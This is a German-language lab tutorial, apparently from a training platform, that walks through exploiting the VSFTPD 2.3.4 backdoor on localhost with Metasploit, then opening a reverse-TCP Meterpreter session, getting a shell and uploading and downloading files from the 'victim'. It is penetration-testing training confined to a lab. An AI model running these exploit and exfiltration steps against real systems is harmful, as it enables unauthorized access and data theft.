Metasploit: Grundlagen der Post-Exploitation

LinuxBeginner
Jetzt üben

Einführung

In diesem Lab lernen Sie die Grundlagen der Post-Exploitation mit dem Metasploit Framework. Zunächst verschaffen Sie sich durch die Ausnutzung eines anfälligen FTP-Servers einen ersten Zugriff, um eine Meterpreter-Session zu etablieren. Anschließend gehen Sie zur Post-Exploitation-Phase über. Das Ziel dieser Phase ist es, das kompromittierte System zu erkunden, Privilegien zu eskalieren und Daten zu exfiltrieren.

Sie werden wichtige Meterpreter-Befehle üben, um mit einer Session zu interagieren, Shell-Befehle auszuführen und Dateien zwischen dem Angreifer- und dem Opfersystem zu übertragen. Dieses Lab führt Sie vom initialen Exploit bis hin zu grundlegenden Post-Exploitation-Techniken.

Initialen Zugriff erlangen

In diesem Schritt verschaffen Sie sich Zugriff auf das Zielsystem, indem Sie eine Backdoor im Dienst VSFTPD 2.3.4 ausnutzen. Dies liefert Ihnen eine Meterpreter-Session für die Post-Exploitation.

Starten Sie zunächst die Metasploit Framework-Konsole.

msfconsole -q

Sobald Metasploit läuft, wählen Sie den Exploit für die VSFTPD 2.3.4 Backdoor aus.

use exploit/unix/ftp/vsftpd_234_backdoor

Konfigurieren Sie nun die Optionen für das Ziel und den Payload. Da der Dienst auf derselben Maschine läuft, verwenden wir die Loopback-IP. Der Standard-Payload erfordert LHOST, schlägt möglicherweise mit der Meldung All encoders failed to encode fehl, und in aktuellen Metasploit-Versionen könnte die Modulprüfung abbrechen, sofern Sie den Exploit nicht zum Fortfahren zwingen:

set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none
set ForceExploit true

Starten Sie abschließend den Exploit.

exploit

FEHLERBEHEBUNG: Falls Sie Msf::OptionValidateError One or more options failed to validate: LHOST sehen, führen Sie set LHOST 127.0.0.1 aus. Falls die Meldung All encoders failed to encode erscheint, führen Sie set Encoder generic/none aus. Wenn der Exploit mit not-vulnerable abbricht und Sie auffordert, das Prüfergebnis zu überschreiben, führen Sie set ForceExploit true aus. Führen Sie danach erneut exploit aus.

WARNUNG: Der erste Versuch könnte mit "Unable to connect to backdoor on 6200/TCP. Cooldown?" oder "Exploit completed, but no session was created." fehlschlagen. Sollte dies passieren, führen Sie einfach erneut den Befehl exploit aus – der zweite Versuch sollte erfolgreich sein.

Bei Erfolg wird eine Meterpreter-Session (Session 1) geöffnet.

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Sie verfügen nun über eine Meterpreter-Session. Um für den nächsten Schritt zum msf > Prompt zurückzukehren, drücken Sie Ctrl+Z und geben Sie bei der Frage "Background session 1?" ein y ein.

Interaktion mit der Meterpreter-Session

Nachdem Sie nun eine Meterpreter-Session im Hintergrund haben, lernen Sie, wie Sie damit interagieren. Der Befehl sessions listet alle aktiven Sessions auf und funktioniert nur am Haupt-Prompt von Metasploit (msf exploit(...) >), nicht innerhalb von Meterpreter.

Um Ihre aktiven Sessions zu sehen, führen Sie aus:

sessions

Sie sollten Ihre Meterpreter-Session mit der ID 1 sehen.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Um mit Session 1 zu interagieren, führen Sie aus:

sessions -i 1

Ihr Prompt ändert sich zu meterpreter >, was anzeigt, dass Sie sich nun innerhalb der Session befinden.

[*] Starting interaction with 1...

meterpreter >

Sie sind nun bereit, Post-Exploitation-Befehle innerhalb von Meterpreter auszuführen.

Shell-Befehle mit dem shell-Befehl ausführen

Innerhalb von Meterpreter können Sie in eine Standard-System-Shell wechseln, um Befehle auf dem Ziel auszuführen. Dies ist nützlich, wenn Sie Shell-spezifische Befehle oder Skripte ausführen müssen.

Geben Sie am meterpreter > Prompt Folgendes ein:

shell

Eine Standard-Shell öffnet sich auf dem entfernten Ziel. Der Prompt scheint kurz zu hängen, aber Sie befinden sich nun in einer System-Shell und können Befehle direkt ausführen.

Process 1654 created.
Channel 1 created.

Führen Sie whoami aus, um Ihren Benutzerkontext zu bestätigen:

whoami
labex

Geben Sie exit ein, um zum Meterpreter-Prompt zurückzukehren.

exit

Ihr Prompt ändert sich wieder zu meterpreter >. Im nächsten Schritt verwenden Sie diese Session, um eine Datei auf das Ziel hochzuladen.

Datei hochladen mit upload /lokaler/pfad /entfernter/pfad

Der upload-Befehl von Meterpreter überträgt Dateien von Ihrer lokalen Maschine auf das Ziel. Eine Datei namens local_file.txt befindet sich in /home/labex/project. Laden Sie diese in das Verzeichnis /tmp auf der entfernten Maschine hoch.

Führen Sie am meterpreter > Prompt aus:

upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt

Sie sehen eine Ausgabe, die den Upload bestätigt:

[*] Uploading  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt

In diesem Lab läuft das Ziel auf derselben Maschine, daher erscheint die Datei unter /tmp/uploaded_file.txt. Als Nächstes üben Sie den umgekehrten Vorgang: das Herunterladen einer Datei vom Ziel.

Datei herunterladen mit download /entfernter/pfad /lokaler/pfad

Der download-Befehl überträgt Dateien vom Ziel auf Ihre lokale Maschine. Eine Datei namens secret_data.txt befindet sich in /tmp auf dem entfernten System. Laden Sie diese in Ihr Projektverzeichnis herunter.

Führen Sie am meterpreter > Prompt aus:

download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt

Sie sehen eine Ausgabe, die den Download bestätigt. Meterpreter erstellt möglicherweise ein Verzeichnis namens downloaded_secret.txt und legt die Datei darin als secret_data.txt ab.

[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed  : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt

Die Datei befindet sich nun auf Ihrer lokalen Maschine. Im letzten Schritt schließen Sie die Session und überprüfen den heruntergeladenen Inhalt.

Session beenden mit dem exit-Befehl

In diesem letzten Schritt schließen Sie die Meterpreter-Session und verlassen die Metasploit-Konsole.

Geben Sie am meterpreter > Prompt exit ein, um die Session zu schließen.

exit
[*] Shutting down session: 1

[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died

Um die Metasploit-Konsole zu verlassen, geben Sie exit ein. Falls Sie nach einer aktiven Session gefragt werden, verwenden Sie exit -y, um das Beenden zu erzwingen.

exit -y

Überprüfen Sie die heruntergeladene Datei. Wie bereits erwähnt, hat Meterpreter möglicherweise ein Verzeichnis erstellt; die Datei befindet sich unter downloaded_secret.txt/secret_data.txt:

cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.

Herzlichen Glückwunsch! Sie haben einen vollständigen Exploit- und Post-Exploitation-Workflow abgeschlossen.

Zusammenfassung

In diesem Lab haben Sie einen vollständigen Workflow vom initialen Zugriff bis zur Post-Exploitation kennengelernt. Sie begannen damit, eine Meterpreter-Session durch einen Exploit zu erhalten. Sie haben geübt, wie man Sessions auflistet und mit ihnen interagiert, wie man von Meterpreter aus eine Standard-System-Shell erhält und wie man die Dateiübertragung zwischen Angreifer- und Opfersystem mithilfe der Befehle upload und download meistert. Abschließend haben Sie gelernt, wie man eine Session ordnungsgemäß schließt und die Metasploit-Konsole verlässt. Diese Fähigkeiten sind grundlegend für Penetrationstests.